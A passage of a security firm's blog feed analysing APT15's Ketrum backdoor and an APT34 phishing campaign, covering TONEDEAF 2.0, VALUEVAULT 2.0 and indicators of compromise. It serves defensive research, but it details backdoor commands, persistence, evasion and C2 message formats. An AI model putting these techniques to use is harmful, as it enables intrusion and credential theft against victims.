this deleted feature—perhaps an unintentional left-over from copy-pasting:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2020/05/the-evolution-of-apt15s-codebase-2020/images/fig3.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;Several other interesting unused file names are included in the binary such as
&lt;code&gt;%sadult.sft&lt;/code&gt; and &lt;code&gt;%sMessage&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The malware first collects basic system information to track the infected
endpoint and then sends it to the C2 server together with a hash of the system
info:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2020/05/the-evolution-of-apt15s-codebase-2020/images/fig4.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2020/05/the-evolution-of-apt15s-codebase-2020/images/fig5.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;All incoming and outcoming payloads are fed through an RC4 encryption and
base64 encoding. The RC4 encryption uses an unusual key:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2020/05/the-evolution-of-apt15s-codebase-2020/images/fig6.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;These are actually constants used in the MD5 and SHA1 algorithms. The Ketrum
developer most likely intended to confuse researchers reversing this function.&lt;/p&gt;
&lt;p&gt;A command is then extracted from the HTML in the response:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2020/05/the-evolution-of-apt15s-codebase-2020/images/fig7.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;This backdoor only supports a limited number of commands, which is typical of
Okrum and Ketrican backdoors. Unlike Ketrum 1, Ketrum 2 does not support
screenshot grabbing. This is the list of possible backdoor commands:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left"&gt;Command ID&lt;/th&gt;
&lt;th style="text-align: left"&gt;Description&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;1&lt;/td&gt;
&lt;td style="text-align: left"&gt;Adjust sleep time&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;2&lt;/td&gt;
&lt;td style="text-align: left"&gt;Execute a shell command&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;3&lt;/td&gt;
&lt;td style="text-align: left"&gt;Upload a file&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;4&lt;/td&gt;
&lt;td style="text-align: left"&gt;Download a file&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;5&lt;/td&gt;
&lt;td style="text-align: left"&gt;Execute a file&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;7 (there is no 6)&lt;/td&gt;
&lt;td style="text-align: left"&gt;Execute a shell command with adjusted sleep time&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;8&lt;/td&gt;
&lt;td style="text-align: left"&gt;Adjust execute shell sleep time&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;9&lt;/td&gt;
&lt;td style="text-align: left"&gt;Download &amp;ldquo;Notice&amp;rdquo; file to working directory - * it is unclear how this is used&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Code Reuse&lt;span class="hx:absolute hx:-mt-20" id="code-reuse"&gt;&lt;/span&gt;
&lt;a href="#code-reuse" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Both Ketrum samples resemble a similar layout to previous Ke3chang tools, apart
from low level implementation and use of system APIs. Even in the two Ketrum
samples, there are differences between the low-level APIs used to achieve the
same functionality. For example, the file upload feature is implemented using
different APIs throughout the families; mostly using a constant value of
&lt;code&gt;0x20000&lt;/code&gt; when reading files:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2020/05/the-evolution-of-apt15s-codebase-2020/images/fig8.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2020/05/the-evolution-of-apt15s-codebase-2020/images/fig9.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Ketrum 1 — Ketrum 2&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2020/05/the-evolution-of-apt15s-codebase-2020/images/fig10.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2020/05/the-evolution-of-apt15s-codebase-2020/images/fig11.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Ketrican 2018 — Okrum&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;As reported by FireEye and ESET, it&amp;rsquo;s likely the Ke3chang cluster of malware is
developed by multiple teams and the developers of Ketrican/Okrum belong to a
different team than the developers of Ketrum, albeit related. This could
explain the high-level and flow similarities but also the low-level
differences.&lt;/p&gt;
&lt;h2&gt;Conclusion&lt;span class="hx:absolute hx:-mt-20" id="conclusion"&gt;&lt;/span&gt;
&lt;a href="#conclusion" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Ke3chang&amp;rsquo;s numerous tools such as Okrum, Ketrican, TidePool, Mirage, Ketrum,
and others all serve the same purpose, give or take a few techniques or
functionalities tailored for specific targets. We can regard these tools under
the same umbrella of BS2005 malware, distributed as different versions per
operation. However, the distinction created by naming them differently is
useful for tracking the group&amp;rsquo;s operations and different development cycles.&lt;/p&gt;
&lt;p&gt;The Ke3chang&amp;rsquo;s group tools have not deviated much from the same tools reported
in FireEye&amp;rsquo;s first Ke3chang report. The group continues to morph its code and
switch basic functionalities in their various backdoors. This strategy has been
working for the group for years and there is no indication yet that it will
deviate from this modus operandi.&lt;/p&gt;
&lt;p&gt;The information security field has seen many improvements since the group&amp;rsquo;s
inception, however, surprisingly, this is not reflected in the group&amp;rsquo;s
persistence to use the same old TTPs in their tools.&lt;/p&gt;
&lt;h2&gt;IOCs&lt;span class="hx:absolute hx:-mt-20" id="iocs"&gt;&lt;/span&gt;
&lt;a href="#iocs" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;271384a078f2a2f58e14d7703febae8a28c6e2d7ddb00a3c8d3eead4ea87a0c0
aacaf0d4729dd6fda2e452be763d209f92d107ecf24d8a341947c545de9b7311
a142625512e5372a1728595be19dbee23eea50524b4827cb64ed5aaeaaa0270b
thehuguardian[.]com
45.56.84[.]25&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;</description></item><item><title>New Iranian Campaign Tailored to US Companies Utilizes an Updated Toolset</title><link>https://research.intezer.com/blog/2020/01/new-iranian-campaign-tailored-to-us-companies-uses-updated-toolset/</link><pubDate>Thu, 30 Jan 2020 00:00:00 +0000</pubDate><guid>https://research.intezer.com/blog/2020/01/new-iranian-campaign-tailored-to-us-companies-uses-updated-toolset/</guid><description>
&lt;h2&gt;Introduction&lt;span class="hx:absolute hx:-mt-20" id="introduction"&gt;&lt;/span&gt;
&lt;a href="#introduction" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Our researchers Paul Litvak and Michael Kajilolti have discovered a new
campaign conducted by APT34 employing an updated toolset. Based on uncovered
phishing documents, we believe this Iranian actor is targeting Westat
employees, or
&lt;a href="https://www.westat.com/about-us/clients"target="_blank" rel="noopener"&gt;United States organizations&lt;/a&gt; hiring
Westat services.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://en.wikipedia.org/wiki/Westat"target="_blank" rel="noopener"&gt;Westat&lt;/a&gt; is a United States-based company
that &amp;ldquo;provides research services to agencies of the U.S. Government, as well as
businesses, foundations, and state and local governments&amp;rdquo;. One example of the
services Westat offers is a
&lt;a href="https://www.westat.com/project/surveying-federal-workers-ensure-engaged-workforce"target="_blank" rel="noopener"&gt;survey&lt;/a&gt;
for federal workers, which leads us to believe this attack may target Westat
customers.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Official Westat response:&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Westat understands that in their effort to identify threats and malware,
Intezer has identified a malicious file that uses the Westat name and logo.
This file was not created by, hosted by, or sent from Westat, and is likely
the result of a bad actor stealing the Westat brand name and logo. Our
cybersecurity team is working with Intezer and others to fully understand the
nature of this report. We will continue to monitor the situation and respond
accordingly.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;APT34 Background&lt;span class="hx:absolute hx:-mt-20" id="apt34-background"&gt;&lt;/span&gt;
&lt;a href="#apt34-background" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;&lt;a href="https://attack.mitre.org/groups/G0049/"target="_blank" rel="noopener"&gt;APT34&lt;/a&gt; (also known as OilRig or Helix
Kitten) is a cluster of Iranian government-backed cyber espionage activities
that has been active since 2014. The group is known to target various
international organizations, mainly in the Middle East. Among their targeted
industries are government agencies, financial services, energy and utilities,
&lt;a href="https://intezer.com/blog/incident-response/cyber-threats-telecom-industry/?utm_campaign=research-blog&amp;amp;utm_content=new-iranian-campaign-tailored-to-us-companies-uses-updated-toolset&amp;amp;utm_medium=referral&amp;amp;utm_source=research.intezer.com"target="_blank" rel="noopener"&gt;telecommunications&lt;/a&gt;,
and oil and gas.&lt;/p&gt;
&lt;p&gt;More light was shed on this group in April 2019 as
&lt;a href="https://www.zdnet.com/article/source-code-of-iranian-cyber-espionage-tools-leaked-on-telegram/"target="_blank" rel="noopener"&gt;leaks&lt;/a&gt;
emerged from a mysterious individual with the pseudonym &amp;ldquo;Lab Dookhtegan&amp;rdquo;. This
individual exposed data belonging to victims of this group, together with
source code of hacking tools and data about previous APT34 operations;
including IP addresses and domains where the group hosted web shells related to
past operations.&lt;/p&gt;
&lt;p&gt;Most recently,
&lt;a href="https://www.fireeye.com/blog/threat-research/2019/07/hard-pass-declining-apt34-invite-to-join-their-professional-network.html"target="_blank" rel="noopener"&gt;FireEye&lt;/a&gt;
exposed a spear-phishing operation conducted by APT34, which enabled us to
connect this operation to this Iranian actor due to similarities in the
techniques and tools employed in both campaigns.&lt;/p&gt;
&lt;h2&gt;Initial Vector&lt;span class="hx:absolute hx:-mt-20" id="initial-vector"&gt;&lt;/span&gt;
&lt;a href="#initial-vector" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;In late January 2020, we discovered a file named &lt;code&gt;survey.xls&lt;/code&gt; that was designed
to look like an employee satisfaction survey tailored to either Westat
employees or Westat customers.&lt;/p&gt;
&lt;p&gt;At first the spreadsheet appeared to be blank. Only once the victim enables
macros, the survey is displayed to the user and the malicious VBA code begins
to execute.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2020/01/new-iranian-campaign-tailored-to-us-companies-uses-updated-toolset/images/fig1.png" title="survey.xls" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;survey.xls&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The embedded VBA code unpacks a zip file into a temporary folder, extracts a
&lt;code&gt;Client update.exe&lt;/code&gt; executable file and installs it to
&lt;code&gt;C:Users&amp;lt;User&amp;gt;valsClient update.exe&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;Client update.exe&lt;/code&gt; is actually a highly modified version of the TONEDEAF
malware, which we named TONEDEAF 2.0. Finally, the &lt;code&gt;crtt&lt;/code&gt; function creates a
scheduled task &lt;code&gt;CheckUpdate&lt;/code&gt; that runs the unpacked executable five minutes
after being infected by it, as well as on future log-ons.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2020/01/new-iranian-campaign-tailored-to-us-companies-uses-updated-toolset/images/fig2.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2020/01/new-iranian-campaign-tailored-to-us-companies-uses-updated-toolset/images/fig3.png" title="Survey.xls VBA Code" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Survey.xls VBA Code&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Both the extracted VBA code and the functionality of the code look similar to
the one analyzed in the FireEye report:&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2020/01/new-iranian-campaign-tailored-to-us-companies-uses-updated-toolset/images/fig4.png" title="APT34 VBA Code from the FireEye Report" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;APT34 VBA Code from the FireEye Report&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;In addition, we found a similar document labelled as
&lt;code&gt;Employee satisfaction survey.xls&lt;/code&gt; containing the same survey as the previous
document.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2020/01/new-iranian-campaign-tailored-to-us-companies-uses-updated-toolset/images/fig5.png" title="Employee Satisfaction survey.xls" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Employee Satisfaction survey.xls&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;However, it&amp;rsquo;s important to highlight that the code page field of this document
is Arabic as can be seen when examining its file metadata, denoting the
preferred language installed on the document author&amp;rsquo;s version of Microsoft
Excel:&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2020/01/new-iranian-campaign-tailored-to-us-companies-uses-updated-toolset/images/fig6.png" title="Employee Satisfaction survey.xls Metadata" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Employee Satisfaction survey.xls Metadata&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h2&gt;TONEDEAF 2.0&lt;span class="hx:absolute hx:-mt-20" id="tonedeaf-20"&gt;&lt;/span&gt;
&lt;a href="#tonedeaf-20" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;At first glance, &lt;code&gt;Client update.exe&lt;/code&gt; seems like a completely new backdoor
malware. However, further examination reveals it&amp;rsquo;s most likely a highly
modified version of the previously seen TONEDEAF backdoor. TONEDEAF is a
backdoor that communicates with its Command and Control server via HTTP in
order to receive and execute commands. It was mentioned in FireEye&amp;rsquo;s recent
report about an ongoing APT34 operation, as one of the group&amp;rsquo;s custom tools. We
have named the new variant TONEDEAF 2.0.&lt;/p&gt;
&lt;p&gt;TONEDEAF 2.0 is an advanced version of TONEDEAF, serving the same purpose as
the original, but with a revamped C2 communication protocol and a substantially
modified code base. In contrast to the original TONEDEAF, TONEDEAF 2.0 contains
solely arbitrary shell execution capabilities, and doesn&amp;rsquo;t support any
predefined commands. It&amp;rsquo;s also more stealthy and contains new tricks such as
dynamic importing, string decoding, and a victim deception method.&lt;/p&gt;
&lt;h3&gt;New Tricks&lt;span class="hx:absolute hx:-mt-20" id="new-tricks"&gt;&lt;/span&gt;
&lt;a href="#new-tricks" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Upon execution the backdoor checks whether it was executed with &lt;code&gt;...&lt;/code&gt; as an
argument, which is the way it&amp;rsquo;s configured to execute by the scheduled task, as
part of the proper infection chain.&lt;/p&gt;
&lt;p&gt;In the case it&amp;rsquo;s executed without the correct argument, such as by launching it
via a double click, it will display a blank GUI Window to the user. This is
most likely intended to serve as a deception method, to make the malware appear
like a legitimate (alibiet broken) application titled &amp;ldquo;Bee&amp;rdquo;.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2020/01/new-iranian-campaign-tailored-to-us-companies-uses-updated-toolset/images/fig7.png" title="GUI Window Used for Deception" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;GUI Window Used for Deception&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;TONEDEAF 2.0 also attempts to be more stealthy than its predecessor by hiding
many of the interesting API imports it uses. The names of these APIs, and the
DLLs that contain them, are stored as encoded strings and are decoded and
resolved on demand during runtime.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2020/01/new-iranian-campaign-tailored-to-us-companies-uses-updated-toolset/images/fig8.png" title="Decoding and Resolving API Functions" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Decoding and Resolving API Functions&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h3&gt;C2 Communication&lt;span class="hx:absolute hx:-mt-20" id="c2-communication"&gt;&lt;/span&gt;
&lt;a href="#c2-communication" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;The backdoor uses HTTP for C2 communication, with a custom encoding and
handshake mechanisms. Messages sent by the backdoor always contain the HTTP
query parameter &lt;code&gt;?ser=&amp;lt;6 digits&amp;gt;&lt;/code&gt; as an identifier. The first three digits are
the &lt;code&gt;&amp;lt;server_id&amp;gt;&lt;/code&gt; and the last three are the &lt;code&gt;&amp;lt;client_id&amp;gt;&lt;/code&gt;. The backdoor will
use one of the following two messages:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;GET /dow?ser=&amp;lt;server_id&amp;gt;&amp;lt;client_id&amp;gt;&lt;/code&gt; - request message, used to obtain
commands to execute from the server.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;POST /upl?ser==&amp;lt;server_id&amp;gt;&amp;lt;client_id&amp;gt;&lt;/code&gt; - reply to command message, used to
send the executed command&amp;rsquo;s output to the server.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Before performing the first request, the malware will generate the
&lt;code&gt;&amp;lt;client_id&amp;gt;&lt;/code&gt; derived from the environment variables &lt;code&gt;%HOMEPATH%&lt;/code&gt; and
&lt;code&gt;%COMPUTERNAME%&lt;/code&gt; using a custom formula.&lt;/p&gt;
&lt;p&gt;It will then send an initial GET message to the C2 using that ID.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2020/01/new-iranian-campaign-tailored-to-us-companies-uses-updated-toolset/images/fig9.png" title="C2 Request" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;C2 Request&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;One odd element about the communication is the usage of a Windows Phone
&lt;code&gt;User-Agent&lt;/code&gt; value in the HTTP message.&lt;/p&gt;
&lt;p&gt;During our analysis the C2 was alive but continuously replied with a 403
Forbidden HTTP error code to our requests. It&amp;rsquo;s possible that the C2 is
filtering the targets since this backdoor is part of a targeted operation and
our &lt;code&gt;client_id&lt;/code&gt; parameter does not match that of one of the intended victims.&lt;/p&gt;
&lt;p&gt;Should the C2 accept the ID, it will reply with an encoded message that
contains the &lt;code&gt;&amp;lt;server_id&amp;gt;&lt;/code&gt; and the command the backdoor needs to execute. The
malware extracts the command by looking for an HTTP div element in the response
with a special class name.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2020/01/new-iranian-campaign-tailored-to-us-companies-uses-updated-toolset/images/fig10.png" title="Parsing of C2 Response" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Parsing of C2 Response&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The malware will then execute the command by prepending it with &lt;code&gt;cmd U c&lt;/code&gt; and
will send the output of the command back to the C2 using the &lt;em&gt;POST reply
message (2)&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;When entering the C2 via a browser, the site tries to imitate
&lt;a href="https://docs.microsoft.com/en-us/"target="_blank" rel="noopener"&gt;https://docs.microsoft.com/en-us/&lt;/a&gt;,
although it fails to display it properly due to a misconfiguration with the
CSS, as can be seen in the console:&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2020/01/new-iranian-campaign-tailored-to-us-companies-uses-updated-toolset/images/fig11.png" title="manygoodnews[.]com C2 webpage" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;manygoodnews[.]com C2 webpage&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;We have also observed that an SSL certificate has been recently generated that
matches the domain of the C2.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2020/01/new-iranian-campaign-tailored-to-us-companies-uses-updated-toolset/images/fig12.png" title="SSL Certificate for the C2 Domain that was Issued One Month Ago" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;SSL Certificate for the C2 Domain that was Issued One Month Ago&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;&lt;a href="https://community.riskiq.com/search/certificate/sha1/86bfaced2e6568f9820b18a5600bfffada64c254"target="_blank" rel="noopener"&gt;SSL Certificate&lt;/a&gt;
for the C2 Domain that was Issued One Month Ago&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;These findings might indicate that the attackers are in the process of
transitioning into HTTPS for C2 communication, in an attempt to improve their
OPSEC capabilities and avoid detection.&lt;/p&gt;
&lt;h3&gt;Traces from the Original TONEDEAF&lt;span class="hx:absolute hx:-mt-20" id="traces-from-the-original-tonedeaf"&gt;&lt;/span&gt;
&lt;a href="#traces-from-the-original-tonedeaf" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;With all of the changes and new additions, there are still enough similarities
that link TONEDEAF 2.0 to the original. While the code is mostly modified, the
general flow and functionality are similar. The C2 communication is different
but still has similarities to its predecessor, such as the usage of three digit
identifiers for both the victim and the server. However, most notably there are
several places in the code where the similarity is most clear. One such place
is a function that exists in both variants, which oddly enough creates a
notification icon in the Windows status bar. The only notable changes are the
usage of dynamic API resolution and the shortening of the notification message
from &lt;code&gt;Updating&lt;/code&gt; to &lt;code&gt;up&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2020/01/new-iranian-campaign-tailored-to-us-companies-uses-updated-toolset/images/fig13.png" title="Specific Function Comparison" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Specific Function Comparison&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Another instance is the code that sets the working directory of the program. It
appears in different stages for each variant, but is identical:&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2020/01/new-iranian-campaign-tailored-to-us-companies-uses-updated-toolset/images/fig14.png" title="Similar Code Snippets" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Similar Code Snippets&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h2&gt;VALUEVAULT 2.0&lt;span class="hx:absolute hx:-mt-20" id="valuevault-20"&gt;&lt;/span&gt;
&lt;a href="#valuevault-20" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;We were unable to download further modules, however, we believe this operation
also includes the usage of a VALUEVAULT implant. VALUEVAULT is a browser
credential theft tool built in Golang, discovered by FireEye in the
aforementioned APT34 operation analysis.&lt;/p&gt;
&lt;p&gt;We found the &lt;code&gt;survey.xls&lt;/code&gt; file uploaded to VirusTotal with a VALUEVAULT
instance and a TONEDEAF 2.0 instance, uploaded from Lebanon by the same user,
only a few minutes apart. This may indicate that these malware were delivered
together as part of the same attack.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2020/01/new-iranian-campaign-tailored-to-us-companies-uses-updated-toolset/images/fig15.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;This VALUEVAULT takes a more minimalistic approach than its predecessor. Many
functionalities and strings were stripped from the new binary in order to lower
its noise. Only Chrome password dumping is now supported, although
interestingly the use of the file &lt;code&gt;fsociety.dat&lt;/code&gt; as a password data store under
the &lt;code&gt;AppDataRoaming&lt;/code&gt; directory stayed the same.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2020/01/new-iranian-campaign-tailored-to-us-companies-uses-updated-toolset/images/fig16.png" title="VALUEVAULT 2.0 Compilation Paths" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;VALUEVAULT 2.0 Compilation Paths&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2020/01/new-iranian-campaign-tailored-to-us-companies-uses-updated-toolset/images/fig17.png" title="VALUEVAULT 1.0 Compilation Paths" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;VALUEVAULT 1.0 Compilation Paths&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Furthermore, VALUEVAULT 2.0 is a 64-bit binary as opposed to VALUEVAULT 1.0
which is a 32-bit binary. These relatively minor changes were enough to create
a fully undetected implant.&lt;/p&gt;
&lt;h2&gt;Conclusion&lt;span class="hx:absolute hx:-mt-20" id="conclusion"&gt;&lt;/span&gt;
&lt;a href="#conclusion" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;The last APT34 operation was exposed only a few months ago by FireEye, and
judging by our current findings we can confidently state that the group has
since evolved its operations. The technical analysis of the new malware
variants reveals this Iranian government-backed group has invested substantial
efforts into upgrading its toolset in an attempt to evade future detection.&lt;/p&gt;
&lt;p&gt;The binary code from these new malware samples are now indexed in our Genetic
&lt;a href="https://intezer.com/intezer-analyze/?utm_campaign=research-blog&amp;amp;utm_content=new-iranian-campaign-tailored-to-us-companies-uses-updated-toolset&amp;amp;utm_medium=referral&amp;amp;utm_source=research.intezer.com"target="_blank" rel="noopener"&gt;Malware Analysis platform&lt;/a&gt;, Intezer
Analyze. We encourage you to use our
&lt;a href="https://analyze.intezer.com/?utm_campaign=research-blog&amp;amp;utm_content=new-iranian-campaign-tailored-to-us-companies-uses-updated-toolset&amp;amp;utm_medium=referral&amp;amp;utm_source=research.intezer.com#/analyze"target="_blank" rel="noopener"&gt;free community edition&lt;/a&gt; to detect and
classify threats that share code with APT34 malware.&lt;/p&gt;
&lt;h2&gt;IOCs&lt;span class="hx:absolute hx:-mt-20" id="iocs"&gt;&lt;/span&gt;
&lt;a href="#iocs" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;manygoodnews[.]com
c10cd1c78c180ba657e3921ee9421b9abd5b965c4cdfaa94a58e383b45bb72ca
4c323bc11982b95266732c01645c39618550e68f25c34f6d3d79288eae7d4378
a897164e3547f0ce3aaa476b0364a200769e8c07ce825bcfdc43939dd1314bb1
20b3d046ed617b7336156a64a0550d416afdd80a2c32ce332be6bbfd4829832c
d61eecd7492dfa461344076a93fc2668dc28943724190faf3d9390f8403b6411&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
